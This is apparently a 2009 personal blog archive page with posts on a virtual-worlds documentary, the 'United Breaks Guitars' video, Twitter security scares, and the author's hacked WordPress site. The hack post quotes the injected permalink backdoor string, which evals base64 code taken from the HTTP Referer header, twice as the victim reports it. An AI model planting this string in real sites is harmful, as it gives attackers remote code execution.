Archive for the ‘downside’ Category

Second Skin – film about Virtual Worlds

Friday, September 18th, 2009

Intro

Those who’ve met me know I can bore for England on Second Life – e.g. people laugh when they hear my SL avatar is called Tandoorichicken Masala.

You might have seen this summary of virtual world-related posts (on this blog) I put together recently. I really should check out some other virtual worlds, but for now, for me, it’s SL.

Second Skin

Can’t remember where I read about this, but I came across a reference to Second Skin, a documentary film about Virtual Worlds:

Second Skin takes an intimate look at three sets of computer gamers whose lives have been transformed by online virtual worlds. An emerging genre of computer software called Massively Multiplayer Online games, or MMOs, allows millions of users to interact simultaneously in virtual spaces. Of the 50 million players worldwide, 50 percent consider themselves addicted. From individuals struggling with addiction to couples who have fallen in love without meeting; from disabled players whose lives have been given new purpose to gold farmers, entrepreneurs and widows, Second Skin opens viewers’ eyes to a phenomenon that may permanently change the way human beings interact.

In March 2008, Second Skin premiered opening night of SXSW. Without any news of a theatrical or DVD release, Second Skin landed extensive coverage in Newsweek, NPR, Wired, BBC, The Dr. Phil Show, Boston Globe, Variety and dozens of other major media outlets. Second Skin was also voted the #4 Documentary of 2008 by internet juggernaut Ain’t It Cool News.

This August, Second Skin will become the first widely released movie about virtual worlds- a movie for the 50 million gamers who spend most of their time in virtual worlds, and all those curious to understand this phenomenon.

[btw slightly peeved that I was at SXSW and missed it!]

Trailer

Eye-opening – even for a trailer! Looks like a balanced view of the whole phenomenon.

Potential Christmas present?

If anyone would like to buy this for me for Christmas, here is the link ;-D :
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Posted in collaboration, downside, education, games, interesting, metaverse, psychology, research, second life, sociology, technology, virtual worlds | Comments

Update on WP hack

Sunday, September 6th, 2009

Intro

For those of you who follow me via my @souterconsults account, you will have seen me have a paddy on this Friday last. That’s because my WP instance got hacked. Meh :$

So, I thought it would be useful to update anyone interested with a quick run-down, as it sets the scene for any future developments (like a complete re-build: bah).

I’m setting out here:

  • List of tweets, which pretty much explain what happened
  • Brief notes of more detail
  • Other links, if they’re not in the first two sections
  • Actions. Bah

Tweets

  1. argh, wanting to publish my Cloud vids from YouTube, but WP is putting %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ on URL 3:15 PM Sep 4th from twhirl
  2. http://twurl.nl/06n2fh explains – I’m trying to find the malicious code asap :’( 3:42 PM Sep 4th from twhirl
  3. ok, I’ve switched off the navigation on the site & parked links to comments, archive, & recent posts to help avoid people getting borked 4:02 PM Sep 4th from twhirl
  4. Site back in action: WP Permalink config restored -http://twurl.nl/ddfchd fyi ‘Hardening Wordpress’ http://twurl.nl/ih81jk 5:09 PM Sep 4th from twhirl
  5. just blogged: Cloud Computing – YouTube videos http://twurl.nl/g38ukl 5:23 PM Sep 4th from twitterfeed
  6. Links for WP hack %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ again – http://twurl.nl/5qclh3 & http://twurl.nl/d55o4c 5:39 PM Sep 4th from twhirl

Notes

  1. Was posting about YouTube videos on Cloud Computing
  2. Copying and pasting the URL into Twhirl to send out on Twitter
  3. Noticed there was a whole string of characters after the ‘proper’ URL
  4. Deleted post
  5. Republished
  6. It was still there
  7. Copied the string and Googled it
  8. Found “[resolved] NASTY CODE hacks onto your domain. FIX included.” #2 in ‘Tweets’
  9. Went on from there & blogged original post…

Looking at my install:

  • The plugin options table seems to have disappeared [although this may not be a bad thing – I should check the WP changelog…]
  • WP pages seem clean at the mo’

Various links

Worthwhile checking out

Actions

  • Need to do several more, more detailed trawls through my WP install
  • Probably need to do a rebuild (from scratch, preferably). Meh
  • Enabled various plugins, e.g. Login LockedDown, but Maintenance Mode didn’t work :-(

A shot across the bows, hopefully not much more (fingers tightly crossed).

[UPDATE: fyi I believe I was on WP v2.8.0 when I was hacked. Latest version at the time of writing is 2.8.4.

This work is licensed under a Creative Commons Attribution Non-commercial Share Alike license.

Posted in blogging, bonkers, downside, newbie, research, technology, wordpress | Comments

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Tuesday, September 1st, 2009

This is a temporary post that was not deleted. Please delete this manually. (55c01edd-484c-440c-9f6d-94eaeb884579 – 3bfe001a-32de-4114-a6b4-4005b770f6d7)

UPDATE: Oops! I use Windows Live Writer, and was pretty much doing what it says above. It’s gone out via Twitter, so in case anyone’s wondering – you now have your explanation! ;-)

Posted in Web 2.0, blog, blogging, bonkers, downside, education, experiment, research, tools, wordpress | Comments

United breaks Guitars; share price dips (allegedly)

Monday, July 27th, 2009

I realise that for many of your seasoned observers, this is old hat.

However, having been told about this at lunch yesterday by Caroline’s Daughter and Son-in-Law, I thought I would have a look into this, as it appears to be part of a growing trend of smart people employing social media to get heard.

Long story short: United Airlines breaks musician’s guitar; musician claims restitution; gets stonewalled by United; writes song which goes viral on YouTube; United caves in; lots more people buy musician’s music.

The story can be read about here, on the Musician’s website; the video is below. At the time of writing, it has had 4,225,709 views.

Apparently United’s share price took a pasting, which has been attributed to the negative publicity.

There’s a bit of doubt about this here and here, but I think you get the general point! The fact that there is a debate about this demonstrates how important Social Media is becoming in determining reputations, and tipping the balance of power in favour of consumers.

The Times summarises the situation from United Airlines’ perspective:

The company is trying to put a brave face on things. On Twitter it admitted its mistake and announced that it was donating $3,000 to a music charity. A spokeswoman tweeted that she liked the video: “It is excellent and that is why we would like to use it for training purposes so everyone receives better service from us.”

And for anyone considering consumer complaint videos on YouTube in the future, Mr Carroll recommends the key of D.

 

Posted in Business, Social Media, Web 2.0, blogging, customer service, downside, media, sociology | Comments

Twitter & Social Media security issues

Monday, January 12th, 2009

You may have seen the recent furore over Twyply, which seems to have turned out to be a simple way to harvest the Twitter usernames and passwords of the Great and the Good [sic].

The same Great and the Good then had to change their passwords, as this fly-by-night application was then sold on to the highest bidder (i.e. with the credentials of Twitter users who had tried it out).

Although I didn’t fall for this one, I did myself get caught in the Twitterank fiasco. There’s also the recent hack of a Twitter administrator’s account and the fall-out from that.

The reason for writing this post was that I was thinking over Christmas that Twitter, in conjunction with geolocation tools like Dopplr and Brightkite, are a techie’s equivalent to not cancelling the milk. I.e., if you say you’re going to be out, then surely people know where you are – I mean *everyone* :-(

So, perhaps this post is more a ‘cry for help’ than anyway particularly constructive. However, there is fast coming a time when Social Media (and other Web 2.0) tools will need a standard set of security and disclosure rules to prevent identity theft.

OpenID describes itself as “An open and decentralized identity system, designed “not to crumble if one company turns evil or goes out of business””, and is the start of a back-lash and / or a toughening up of the rules.

Just as ‘Net Geners’ are having to re-assess their attitudes to employment—as expounded in this article from The Economist*—so might their / our attitude towards information security. :-(

Twitter Pack

Photo credit to Carrotcreative

*registration may be required in future

Posted in Business, Social Media, Social Networking, Web 2.0, customer service, downside, newbie | Comments